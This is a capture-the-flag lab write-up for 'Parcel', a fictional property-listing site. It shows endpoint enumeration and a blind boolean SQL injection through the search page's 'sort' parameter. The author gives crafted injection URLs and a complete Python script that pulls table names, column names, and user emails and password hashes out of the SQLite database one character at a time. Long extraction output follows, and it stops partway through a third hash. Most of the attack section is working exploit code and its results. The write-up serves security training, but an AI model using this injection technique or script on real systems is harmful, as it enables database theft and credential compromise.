Parcel

A residential real estate portal with more going on under the hood than it appears.

Parcel
Parcel — figure 1

Room Description

This is information directly grabbed from the main page and description of the lab.

https://dashboard.webverselabs-pro.com/labs/parcel

GridMark is an Austin-based property listing startup that launched in 2023. The platform lets home buyers browse, search, and save listings across the city. A recent internal audit flagged part of the platform as "needs review" — but the ticket was never prioritised. Meanwhile, the ops team has been taking shortcuts to make their lives easier. You've been brought in for a black-box assessment. The application looks clean on the surface. Dig deeper.

Synopsis

Enumerate, exploit, and escalate your way to the platform's most sensitive configuration.

What is Parcel

A realistic property listing web app with a multi-step attack chain requiring enumeration, injection, and credential access.

Who is Parcel for?

Pentesters and students comfortable with web application basics who want to practice chaining vulnerabilities across a realistic target.

Skills / Knowledge

  • Web application enumeration
  • Basic SQL injection concepts
  • Reading and interpreting HTTP responses

What will you gain?

  • Thoroughly enumerate a web application's attack surface
  • Identify injection vulnerabilities in unexpected places
  • Extract sensitive data using indirect techniques
  • Chain multiple steps to achieve privileged access

Initial Analysis

Similarly to the last application I did (DocketHive), I had troubles opening the web application without changing configuration on my end, not sure if it's due to the lab launch speed or if genuinely adding the IP and domain to /etc/hosts is part of the process, since in an engagement it definitely makes sense.

Parcel — figure 2

Okay, so the landing page is staying true to the brief, property listing page.

We can login and register, we can try to login with some default credentials or try to see if there's blind SQLi and just bypass auth completely.

Parcel — figure 3

Unfortunately, didn't work.

Let's try to go through the application features before registering an account and see if there's anything different once we have a profile.

Finding the bug

We have several endpoints available to us that we can see, and several more that we can see in the page source. Instantly visible to us are: /search, /listings, /market, /login and /register.

So this is a search function that can help us narrow down what kind of property we are after.

Parcel — figure 4

When submitting a search, we send the following GET request.

Parcel — figure 5

So we have several fields to look through for, let's send this request over to sqlmap and see whether we can get a hit for any of the fields.

/listings

We just have all the property listed here, nothing that we can't open with using Search to load them all up.

Parcel — figure 6

/market

Now this place could lead you down a rabbithole, mostly because it does offer an alternate view to look at the listings and browse them. I LUCKILY decided to let this one slide and not look at it that much because /search piqued my interest.

Parcel — figure 7

Directory Fuzzing

Let's see if there are any interesting endpoints that aren't viewable through the UI or the page source.

┌──(kali㉿kali)-[~/…/2026/ctf/webverse/parcel]
└─$ feroxbuster --url http://app.gridmark.io/ --wordlist /usr/share/wordlists/dirb/common.txt 
                                                                                                                                                                                                                                            
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://app.gridmark.io/
 🚩  In-Scope Url          │ app.gridmark.io
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET       66l      148w     2023c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        9l       58w      525c http://app.gridmark.io/static/favicon.svg
200      GET      347l      675w     6753c http://app.gridmark.io/static/theme.css
302      GET        5l       22w      267c http://app.gridmark.io/saved => http://app.gridmark.io/login?next=http://app.gridmark.io/saved
200      GET      225l      581w     6175c http://app.gridmark.io/static/brand.css
200      GET      253l      601w    10049c http://app.gridmark.io/listing/63
200      GET      253l      596w    10052c http://app.gridmark.io/listing/45
200      GET       90l      184w     2817c http://app.gridmark.io/login
200      GET      372l     1002w    12356c http://app.gridmark.io/market
200      GET       91l      202w     3058c http://app.gridmark.io/register
200      GET      448l     2557w   197978c http://app.gridmark.io/static/images/listings/town-01.jpg
200      GET      344l     1007w    15029c http://app.gridmark.io/search
200      GET      524l     3167w   249477c http://app.gridmark.io/static/images/listings/apt-01.jpg
200      GET      253l      588w    10004c http://app.gridmark.io/listing/56
200      GET      253l      596w    10027c http://app.gridmark.io/listing/65
200      GET      648l     4250w   350343c http://app.gridmark.io/static/images/listings/condo-03.jpg
200      GET      253l      597w    10017c http://app.gridmark.io/listing/44
200      GET      451l     2354w   178098c http://app.gridmark.io/static/images/listings/town-02.jpg
200      GET      665l     1341w    13929c http://app.gridmark.io/static/styles.css
200      GET      457l     2638w   191296c http://app.gridmark.io/static/images/listings/apt-02.jpg
200      GET      253l      597w    10023c http://app.gridmark.io/listing/64
200      GET      367l     2140w   165675c http://app.gridmark.io/static/images/listings/apt-06.jpg
200      GET      517l     1220w    21409c http://app.gridmark.io/listings
200      GET      232l      550w     9107c http://app.gridmark.io/
302      GET        5l       22w      271c http://app.gridmark.io/account => http://app.gridmark.io/login?next=http://app.gridmark.io/account
302      GET        5l       22w      267c http://app.gridmark.io/admin => http://app.gridmark.io/login?next=http://app.gridmark.io/admin
302      GET        5l       22w      189c http://app.gridmark.io/logout => http://app.gridmark.io/
200      GET      253l      597w    10052c http://app.gridmark.io/listing/41
200      GET      253l      571w     9917c http://app.gridmark.io/listing/19
405      GET        5l       20w      153c http://app.gridmark.io/api/toggle-favourite
200      GET      253l      598w    10037c http://app.gridmark.io/listing/62
200      GET      192l     1221w    95679c http://app.gridmark.io/static/images/listings/house-03.jpg
200      GET      253l      601w    10040c http://app.gridmark.io/listing/39
200      GET      253l      573w     9951c http://app.gridmark.io/listing/18
200      GET      253l      606w    10063c http://app.gridmark.io/listing/54
200      GET      508l     2801w   210215c http://app.gridmark.io/static/images/listings/apt-04.jpg
200      GET      253l      599w    10020c http://app.gridmark.io/listing/43
200      GET      253l      596w    10046c http://app.gridmark.io/listing/53
200      GET      253l      596w    10034c http://app.gridmark.io/listing/40
302      GET        5l       22w      281c http://app.gridmark.io/api/my-lists => http://app.gridmark.io/login?next=http://app.gridmark.io/api/my-lists
200      GET      253l      603w    10045c http://app.gridmark.io/listing/55
200      GET      561l     3352w   251530c http://app.gridmark.io/static/images/listings/house-02.jpg
200      GET      531l     3004w   236294c http://app.gridmark.io/static/images/listings/town-03.jpg
200      GET      317l     1986w   154453c http://app.gridmark.io/static/images/listings/condo-02.jpg
200      GET      293l     1647w   141941c http://app.gridmark.io/static/images/listings/apt-03.jpg
200      GET      647l     3925w   295232c http://app.gridmark.io/static/images/listings/apt-05.jpg
200      GET      253l      598w    10039c http://app.gridmark.io/listing/42
200      GET      253l      591w    10011c http://app.gridmark.io/listing/38
200      GET      253l      571w     9929c http://app.gridmark.io/listing/20
200      GET      253l      594w    10016c http://app.gridmark.io/listing/61
200      GET      449l     2453w   181383c http://app.gridmark.io/static/images/listings/house-01.jpg
200      GET      539l     2672w   198891c http://app.gridmark.io/static/images/listings/condo-01.jpg
405      GET        5l       20w      153c http://app.gridmark.io/api/save-search
[####################] - 24s     4670/4670    0s      found:52      errors:0      
[####################] - 24s     4614/4614    192/s   http://app.gridmark.io/ 

Creating an account

Parcel — figure 8

So now we have a new feature called /saved. Let's go look at a property and add it to saved.

We can create a new list with the following request.

Parcel — figure 9

We have an API request to get our list information.

Parcel — figure 10

and a POST request to toggle a listing to our saved list.

Parcel — figure 11

We can also send a message to someone that has listed a property.

Parcel — figure 12

Saved Search Alerts is interesting, as we can store information.

Parcel — figure 13
Parcel — figure 14
Parcel — figure 15

Okay, going through everything, I managed to get a permanent 500 error for the Saved Search Alerts, as I managed to cause an SQL error by trying some random payloads (I got an error using $ne testing NoSQL injections too) to ascertain what kind of database it is. While doing so, I realized that the saved searches functionality literally just gets your regular /search request saved, so the injection would have to be in the /search function. So let's try all of the parameters we have there and see if we can cause an error that doesn't get stored that would force us to create a new account to continue :D .

Parcel — figure 16

Hm, so that probably might not be the injection field since whatever I do it errors out, we know this is definitely the query that is problematic since it causes a 500 internal server error, so either a WAF or something is stopping us, or there's a field that I'm missing that we can control. While attempting to figure out what's going on I realized also that "%" in the search parameter gives us all the results, so it might be an indicator. Turns out that I am missing the most important field.

Parcel — figure 17
http://app.gridmark.io/search?q=%25&min_price=&max_price=&bedrooms=&sort=price_asc

So all in all:

After testing multiple parameters:

  • q → behaves normally (LIKE-based)
  • min_price → causes 500 errors with injection attempts
  • sortinteresting behavior
sort=(CASE WHEN 1=1 THEN price ELSE id END)

shows us one order of the listing and:

sort=(CASE WHEN 1=2 THEN price ELSE id END)

shows us another order of the listing, so now we have visual confirmation of when we get a hit from the database.

This is critical because:

  • Traditional SQLi payloads fail
  • But conditional ORDER BY injection works
  • Enables blind boolean-based extraction

Exploitation

We need to create our reference point or our oracle.

CASE WHEN <condition> THEN price ELSE id END

Then observed:

  • If TRUE → results sorted one way
  • If FALSE → different order

This becomes our boolean oracle.

Afterwards we use:

SELECT name FROM sqlite_master WHERE type='table'

and start extracting character by character:

substr((SELECT name FROM sqlite_master LIMIT 1 OFFSET X),pos,1)

Example, when we try to get the character "u" as the first position we get this response visually:

Parcel — figure 18

and when we try any other character we get the following response:

Parcel — figure 19

So we know that 3200 Duval is the first entry when we do have a hit!

http://app.gridmark.io/search?q=%25&sort=(CASE%20WHEN%20substr((SELECT%20name%20FROM%20sqlite_master%20WHERE%20type=%27table%27%20LIMIT%201),1,1)=%27u%27%20THEN%20price%20ELSE%20id%20END) - u

http://app.gridmark.io/search?q=%25&sort=(CASE%20WHEN%20substr((SELECT%20name%20FROM%20sqlite_master%20WHERE%20type=%27table%27%20LIMIT%201),2,1)=%27s%27%20THEN%20price%20ELSE%20id%20END) - s

http://app.gridmark.io/search?q=%25&sort=(CASE%20WHEN%20substr((SELECT%20name%20FROM%20sqlite_master%20WHERE%20type=%27table%27%20LIMIT%201),3,1)=%27e%27%20THEN%20price%20ELSE%20id%20END) - e

http://app.gridmark.io/search?q=%25&sort=(CASE%20WHEN%20substr((SELECT%20name%20FROM%20sqlite_master%20WHERE%20type=%27table%27%20LIMIT%201),4,1)=%27r%27%20THEN%20price%20ELSE%20id%20END) - r

http://app.gridmark.io/search?q=%25&sort=(CASE%20WHEN%20substr((SELECT%20name%20FROM%20sqlite_master%20WHERE%20type=%27table%27%20LIMIT%201),5,1)=%27s%27%20THEN%20price%20ELSE%20id%20END) - s

http://app.gridmark.io/search?q=%25&sort=(CASE%20WHEN%20substr((SELECT%20name%20FROM%20sqlite_master%20WHERE%20type=%27table%27%20LIMIT%201),6,1)=%27%27%20THEN%20price%20ELSE%20id%20END) - check for end
http://app.gridmark.io/search?q=%25&sort=(CASE%20WHEN%20substr((SELECT%20name%20FROM%20sqlite_master%20WHERE%20type=%27table%27%20LIMIT%201%20OFFSET%201),1,1)=%27s%27%20THEN%20price%20ELSE%20id%20END) - s

http://app.gridmark.io/search?q=%25&sort=(CASE%20WHEN%20substr((SELECT%20name%20FROM%20sqlite_master%20WHERE%20type=%27table%27%20LIMIT%201%20OFFSET%201),2,1)=%27q%27%20THEN%20price%20ELSE%20id%20END) - q

/search?q=%25&sort=(CASE WHEN substr((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 1),3,1)='l' THEN price ELSE id END)
http://app.gridmark.io/search?q=%25&sort=(CASE%20WHEN%20substr((SELECT%20name%20FROM%20sqlite_master%20WHERE%20type=%27table%27%20LIMIT%201%20OFFSET%201),3,1)=%27l%27%20THEN%20price%20ELSE%20id%20END) - l

http://app.gridmark.io/search?q=%25&sort=(CASE%20WHEN%20substr((SELECT%20name%20FROM%20sqlite_master%20WHERE%20type=%27table%27%20LIMIT%201%20OFFSET%203),1,1)=%27f%27%20THEN%20price%20ELSE%20id%20END) - f

http://app.gridmark.io/search?q=%25&sort=(CASE%20WHEN%20substr((SELECT%20name%20FROM%20sqlite_master%20WHERE%20type=%27table%27%20LIMIT%201%20OFFSET%203),2,1)=%27v%27%20THEN%20price%20ELSE%20id%20END) - a

http://app.gridmark.io/search?q=%25&sort=(CASE%20WHEN%20substr((SELECT%20name%20FROM%20sqlite_master%20WHERE%20type=%27table%27%20LIMIT%201%20OFFSET%203),3,1)=%27v%27%20THEN%20price%20ELSE%20id%20END) - v

Okay, so finding the flag won't be as easy as just extracting the first row from the first table we see since there are plenty of tables and different columns even in the user table. Trust me, I tried hahahaha, these are only ¼ of the requests I was sending manually.

import requests
import re
import string

URL = "http://app.gridmark.io/search"
COOKIE = {
    "session": ".eJyrVkrNTczMUbJSys3MSyzJLy1ySAcJ6CXn5yrpKKWV5uTE5yXmpiIpAAoX5eeAREqLU0E8EBWfmaJkZWhcCwBt7htR.ad3xxQ.qEj0MiKgqyuMPYn9AFwgXMG8o7k"
}

# ============================
# 🔍 Extract first listing
# ============================
def get_first_listing(html):
    match = re.search(r'gm-listing-address">([^<]+)</p>', html)
    return match.group(1).strip() if match else ""


# ============================
# 🧠 Boolean oracle
# ============================
def is_true(condition):
    payload = f"(CASE WHEN {condition} THEN price ELSE id END)"

    r = requests.get(
        URL,
        params={"q": "%", "sort": payload},
        cookies=COOKIE
    )

    first = get_first_listing(r.text)

    # TRUE = Duval listing
    return first.startswith("3200 Duval")


# ============================
# 🔤 Extract single char
# ============================
def extract_char(query, position):
    charset = string.ascii_lowercase + string.digits + "[email protected]"

    for c in charset:
        condition = f"substr(({query}),{position},1)='{c}'"

        if is_true(condition):
            return c

    return None


# ============================
# 🔓 Extract full string
# ============================
def extract_string(query):
    result = ""
    position = 1

    while True:
        char = extract_char(query, position)

        if not char:
            break

        result += char
        print(f"[+] {position}: {char} → {result}")

        position += 1

    return result


# ============================
# 🧪 Test oracle
# ============================
def test_oracle():
    print("[*] Testing oracle...")
    print("1=1 →", is_true("1=1"))
    print("1=2 →", is_true("1=2"))


# ============================
# 🚀 MAIN
# ============================
if __name__ == "__main__":
    test_oracle()

    print("\n============================")
    print("[*] Extracting table names")
    print("============================")

    for i in range(5):
        print(f"\n[*] Table OFFSET {i}")
        query = f"SELECT name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET {i}"
        table = extract_string(query)
        print(f"[+] TABLE: {table}")

    print("\n============================")
    print("[*] Extracting columns (users)")
    print("============================")

    columns = []
    for i in range(10):
        print(f"\n[*] Column OFFSET {i}")
        query = f"SELECT name FROM pragma_table_info('users') LIMIT 1 OFFSET {i}"
        col = extract_string(query)
        print(f"[+] COLUMN: {col}")
        if col:
            columns.append(col)

    print("\n[+] Found columns:", columns)

    print("\n============================")
    print("[*] Extracting user data")
    print("============================")

    for user_index in range(1):  # try first 3 users
        print(f"\n👤 USER OFFSET {user_index}")

        # --- EMAIL ---
        query_email = f"SELECT email FROM users LIMIT 1 OFFSET {user_index}"
        email = extract_string(query_email)
        print(f"[+] EMAIL: {email}")

        # --- PASSWORD ---
        query_password = f"SELECT password FROM users LIMIT 1 OFFSET {user_index}"
        password = extract_string(query_password)
        print(f"[+] PASSWORD: {password}")

        print("\n----------------------------")
        print(f"[+] CREDS: {email} : {password}")
        print("----------------------------")

┌──(kali㉿kali)-[~/…/2026/ctf/webverse/parcel]
└─$ python3 users_updated.py
/usr/local/lib/python3.13/dist-packages/requests-2.20.0-py3.13.egg/requests/__init__.py:89: RequestsDependencyWarning: urllib3 (2.5.0) or chardet (3.0.4) doesn't match a supported version!
  warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "
[*] Testing oracle...
1=1 → True
1=2 → False

============================
[*] Extracting table names
============================

[*] Table OFFSET 0
[+] 1: u → u
[+] 2: s → us
[+] 3: e → use
[+] 4: r → user
[+] 5: s → users
[+] TABLE: users

[*] Table OFFSET 1
[+] 1: s → s
[+] 2: q → sq
[+] 3: l → sql
[+] 4: i → sqli
[+] 5: t → sqlit
[+] 6: e → sqlite
[+] 7: _ → sqlite_
[+] 8: s → sqlite_s
[+] 9: e → sqlite_se
[+] 10: q → sqlite_seq
[+] 11: u → sqlite_sequ
[+] 12: e → sqlite_seque
[+] 13: n → sqlite_sequen
[+] 14: c → sqlite_sequenc
[+] 15: e → sqlite_sequence
[+] TABLE: sqlite_sequence

[*] Table OFFSET 2
[+] 1: l → l
[+] 2: i → li
[+] 3: s → lis
[+] 4: t → list
[+] 5: i → listi
[+] 6: n → listin
[+] 7: g → listing
[+] 8: s → listings
[+] TABLE: listings

[*] Table OFFSET 3
[+] 1: f → f
[+] 2: a → fa
[+] 3: v → fav
[+] 4: o → favo
[+] 5: u → favou
[+] 6: r → favour
[+] 7: i → favouri
[+] 8: t → favourit
[+] 9: e → favourite
[+] 10: _ → favourite_
[+] 11: l → favourite_l
[+] 12: i → favourite_li
[+] 13: s → favourite_lis
[+] 14: t → favourite_list
[+] TABLE: favourite_list

[*] Table OFFSET 4
[+] 1: f → f
[+] 2: a → fa
[+] 3: v → fav
[+] 4: o → favo
[+] 5: u → favou
[+] 6: r → favour
[+] 7: i → favouri
[+] 8: t → favourit
[+] 9: e → favourite
[+] TABLE: favourite

============================
[*] Extracting columns (users)
============================

[*] Column OFFSET 0
[+] 1: i → i
[+] 2: d → id
[+] COLUMN: id

[*] Column OFFSET 1
[+] 1: u → u
[+] 2: s → us
[+] 3: e → use
[+] 4: r → user
[+] 5: n → usern
[+] 6: a → userna
[+] 7: m → usernam
[+] 8: e → username
[+] COLUMN: username

[*] Column OFFSET 2
[+] 1: e → e
[+] 2: m → em
[+] 3: a → ema
[+] 4: i → emai
[+] 5: l → email
[+] COLUMN: email

[*] Column OFFSET 3
[+] 1: f → f
[+] 2: u → fu
[+] 3: l → ful
[+] 4: l → full
[+] 5: _ → full_
[+] 6: n → full_n
[+] 7: a → full_na
[+] 8: m → full_nam
[+] 9: e → full_name
[+] COLUMN: full_name

[*] Column OFFSET 4
[+] 1: p → p
[+] 2: a → pa
[+] 3: s → pas
[+] 4: s → pass
[+] 5: w → passw
[+] 6: o → passwo
[+] 7: r → passwor
[+] 8: d → password
[+] COLUMN: password

[*] Column OFFSET 5
[+] 1: r → r
[+] 2: o → ro
[+] 3: l → rol
[+] 4: e → role
[+] COLUMN: role

[+] Found columns: ['id', 'username', 'email', 'full_name', 'password', 'role']

============================
[*] Extracting user data
============================

👤 USER OFFSET 0
[+] 1: a → a
[+] 2: . → a.
[+] 3: o → a.o
[+] 4: k → a.ok
[+] 5: a → a.oka
[+] 6: f → a.okaf
[+] 7: o → a.okafo
[+] 8: r → a.okafor
[+] 9: @ → a.okafor@
[+] 10: g → a.okafor@g
[+] 11: r → a.okafor@gr
[+] 12: i → a.okafor@gri
[+] 13: d → a.okafor@grid
[+] 14: m → a.okafor@gridm
[+] 15: a → a.okafor@gridma
[+] 16: r → a.okafor@gridmar
[+] 17: k → a.okafor@gridmark
[+] 18: . → a.okafor@gridmark.
[+] 19: i → [email protected]
[+] 20: o → [email protected]
[+] EMAIL: [email protected]
[+] 1: f → f
[+] 2: b → fb
[+] 3: 6 → fb6
[+] 4: a → fb6a
[+] 5: f → fb6af
[+] 6: a → fb6afa
[+] 7: 2 → fb6afa2
[+] 8: 5 → fb6afa25
[+] 9: 3 → fb6afa253
[+] 10: f → fb6afa253f
[+] 11: b → fb6afa253fb
[+] 12: 9 → fb6afa253fb9
[+] 13: b → fb6afa253fb9b
[+] 14: 9 → fb6afa253fb9b9
[+] 15: f → fb6afa253fb9b9f
[+] 16: b → fb6afa253fb9b9fb
[+] 17: b → fb6afa253fb9b9fbb
[+] 18: 0 → fb6afa253fb9b9fbb0
[+] 19: 5 → fb6afa253fb9b9fbb05
[+] 20: 3 → fb6afa253fb9b9fbb053
[+] 21: a → fb6afa253fb9b9fbb053a
[+] 22: 5 → fb6afa253fb9b9fbb053a5
[+] 23: c → fb6afa253fb9b9fbb053a5c
[+] 24: 0 → fb6afa253fb9b9fbb053a5c0
[+] 25: 0 → fb6afa253fb9b9fbb053a5c00
[+] 26: 0 → fb6afa253fb9b9fbb053a5c000
[+] 27: 1 → fb6afa253fb9b9fbb053a5c0001
[+] 28: d → fb6afa253fb9b9fbb053a5c0001d
[+] 29: 7 → fb6afa253fb9b9fbb053a5c0001d7
[+] 30: 9 → fb6afa253fb9b9fbb053a5c0001d79
[+] 31: a → fb6afa253fb9b9fbb053a5c0001d79a
[+] 32: 0 → fb6afa253fb9b9fbb053a5c0001d79a0
[+] 33: 2 → fb6afa253fb9b9fbb053a5c0001d79a02
[+] 34: 9 → fb6afa253fb9b9fbb053a5c0001d79a029
[+] 35: a → fb6afa253fb9b9fbb053a5c0001d79a029a
[+] 36: b → fb6afa253fb9b9fbb053a5c0001d79a029ab
[+] 37: d → fb6afa253fb9b9fbb053a5c0001d79a029abd
[+] 38: 5 → fb6afa253fb9b9fbb053a5c0001d79a029abd5
[+] 39: a → fb6afa253fb9b9fbb053a5c0001d79a029abd5a
[+] 40: d → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad
[+] 41: 3 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3
[+] 42: d → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d
[+] 43: 0 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0
[+] 44: c → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0c
[+] 45: f → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cf
[+] 46: b → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfb
[+] 47: f → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbf
[+] 48: e → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe
[+] 49: 7 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe7
[+] 50: 1 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe71
[+] 51: 2 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe712
[+] 52: 2 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe7122
[+] 53: 8 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe71228
[+] 54: 6 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe712286
[+] 55: 3 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe7122863
[+] 56: 8 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe71228638
[+] 57: 2 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe712286382
[+] 58: 8 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe7122863828
[+] 59: 4 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe71228638284
[+] 60: 2 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe712286382842
[+] 61: 7 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe7122863828427
[+] 62: 7 → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe71228638284277
[+] 63: e → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe71228638284277e
[+] 64: e → fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe71228638284277ee
[+] PASSWORD: fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe71228638284277ee

----------------------------
[+] CREDS: [email protected] : fb6afa253fb9b9fbb053a5c0001d79a029abd5ad3d0cfbfe71228638284277ee
----------------------------

👤 USER OFFSET 1
[+] 1: b → b
[+] 2: . → b.
[+] 3: o → b.o
[+] 4: s → b.os
[+] 5: e → b.ose
[+] 6: i → b.osei
[+] 7: @ → b.osei@
[+] 8: g → b.osei@g
[+] 9: r → b.osei@gr
[+] 10: i → b.osei@gri
[+] 11: d → b.osei@grid
[+] 12: m → b.osei@gridm
[+] 13: a → b.osei@gridma
[+] 14: r → b.osei@gridmar
[+] 15: k → b.osei@gridmark
[+] 16: . → b.osei@gridmark.
[+] 17: i → [email protected]
[+] 18: o → [email protected]
[+] EMAIL: [email protected]
[+] 1: 3 → 3
[+] 2: 2 → 32
[+] 3: 8 → 328
[+] 4: 6 → 3286
[+] 5: d → 3286d
[+] 6: d → 3286dd
[+] 7: f → 3286ddf
[+] 8: 8 → 3286ddf8
[+] 9: 5 → 3286ddf85
[+] 10: 8 → 3286ddf858
[+] 11: 5 → 3286ddf8585
[+] 12: d → 3286ddf8585d
[+] 13: 2 → 3286ddf8585d2
[+] 14: 0 → 3286ddf8585d20
[+] 15: 5 → 3286ddf8585d205
[+] 16: 3 → 3286ddf8585d2053
[+] 17: 3 → 3286ddf8585d20533
[+] 18: 2 → 3286ddf8585d205332
[+] 19: 8 → 3286ddf8585d2053328
[+] 20: 0 → 3286ddf8585d20533280
[+] 21: 0 → 3286ddf8585d205332800
[+] 22: 5 → 3286ddf8585d2053328005
[+] 23: 3 → 3286ddf8585d20533280053
[+] 24: 7 → 3286ddf8585d205332800537
[+] 25: a → 3286ddf8585d205332800537a
[+] 26: 4 → 3286ddf8585d205332800537a4
[+] 27: b → 3286ddf8585d205332800537a4b
[+] 28: 0 → 3286ddf8585d205332800537a4b0
[+] 29: c → 3286ddf8585d205332800537a4b0c
[+] 30: 8 → 3286ddf8585d205332800537a4b0c8
[+] 31: a → 3286ddf8585d205332800537a4b0c8a
[+] 32: 7 → 3286ddf8585d205332800537a4b0c8a7
[+] 33: 1 → 3286ddf8585d205332800537a4b0c8a71
[+] 34: 2 → 3286ddf8585d205332800537a4b0c8a712
[+] 35: 6 → 3286ddf8585d205332800537a4b0c8a7126
[+] 36: 1 → 3286ddf8585d205332800537a4b0c8a71261
[+] 37: 7 → 3286ddf8585d205332800537a4b0c8a712617
[+] 38: c → 3286ddf8585d205332800537a4b0c8a712617c
[+] 39: 8 → 3286ddf8585d205332800537a4b0c8a712617c8
[+] 40: 4 → 3286ddf8585d205332800537a4b0c8a712617c84
[+] 41: e → 3286ddf8585d205332800537a4b0c8a712617c84e
[+] 42: b → 3286ddf8585d205332800537a4b0c8a712617c84eb
[+] 43: 9 → 3286ddf8585d205332800537a4b0c8a712617c84eb9
[+] 44: 9 → 3286ddf8585d205332800537a4b0c8a712617c84eb99
[+] 45: 2 → 3286ddf8585d205332800537a4b0c8a712617c84eb992
[+] 46: 7 → 3286ddf8585d205332800537a4b0c8a712617c84eb9927
[+] 47: c → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c
[+] 48: 1 → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c1
[+] 49: 2 → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c12
[+] 50: 5 → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125
[+] 51: e → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e
[+] 52: 0 → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e0
[+] 53: 8 → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e08
[+] 54: 5 → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e085
[+] 55: 3 → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e0853
[+] 56: 6 → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e08536
[+] 57: e → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e08536e
[+] 58: b → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e08536eb
[+] 59: 5 → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e08536eb5
[+] 60: 2 → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e08536eb52
[+] 61: d → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e08536eb52d
[+] 62: e → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e08536eb52de
[+] 63: 7 → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e08536eb52de7
[+] 64: 3 → 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e08536eb52de73
[+] PASSWORD: 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e08536eb52de73

----------------------------
[+] CREDS: [email protected] : 3286ddf8585d205332800537a4b0c8a712617c84eb9927c125e08536eb52de73
----------------------------

👤 USER OFFSET 2
[+] 1: c → c
[+] 2: . → c.
[+] 3: a → c.a
[+] 4: l → c.al
[+] 5: i → c.ali
[+] 6: @ → c.ali@
[+] 7: g → c.ali@g
[+] 8: r → c.ali@gr
[+] 9: i → c.ali@gri
[+] 10: d → c.ali@grid
[+] 11: m → c.ali@gridm
[+] 12: a → c.ali@gridma
[+] 13: r → c.ali@gridmar
[+] 14: k → c.ali@gridmark
[+] 15: . → c.ali@gridmark.
[+] 16: i → [email protected]
[+] 17: o → [email protected]
[+] EMAIL: [email protected]
[+] 1: d → d
[+] 2: 6 → d6
[+] 3: 6 → d66
[+] 4: 4 → d664
[+] 5: 9 → d6649
[+] 6: f → d6649f
[+] 7: 3 → d6649f3
[+] 8: 7 → d6649f37
[+] 9: d → d6649f37d
[+] 10: 7 → d6649f37d7
[+] 11: e → d6649f37d7e
[+] 12: 2 → d6649f37d7e2
[+] 13: 9 → d6649f37d7e29
[+] 14: b → d6649f37d7e29b
[+] 15: c → d6649f37d7e29bc
[+] 16: 6 → d6649f37d7e29bc6
[+] 17: 8 → d6649f37d7e29bc68
[+] 18: 0 → d6649f37d7e29bc680
[+] 19: 1 → d6649f37d7e29bc6801
[+] 20: f → d6649f37d7e29bc6801f
[+] 21: 9 → d6649f37d7e29bc6801f9
[+] 22: 7 → d6649f37d7e29bc6801f97
[+] 23: 8 → d6649f37d7e29bc6801f978
[+] 24: b → d6649f37d7e29bc6801f978b
[+] 25: b → d6649f37d7e29bc6801f978bb
[+] 26: 5 → d6649f37d7e29bc6801f978bb5
[+] 27: 0 → d6649f37d7e29bc6801f978bb50
[+] 28: 5 → d6649f37d7e29bc6801f978bb505
[+] 29: 6 → d6649f37d7e29bc6801f978bb5056
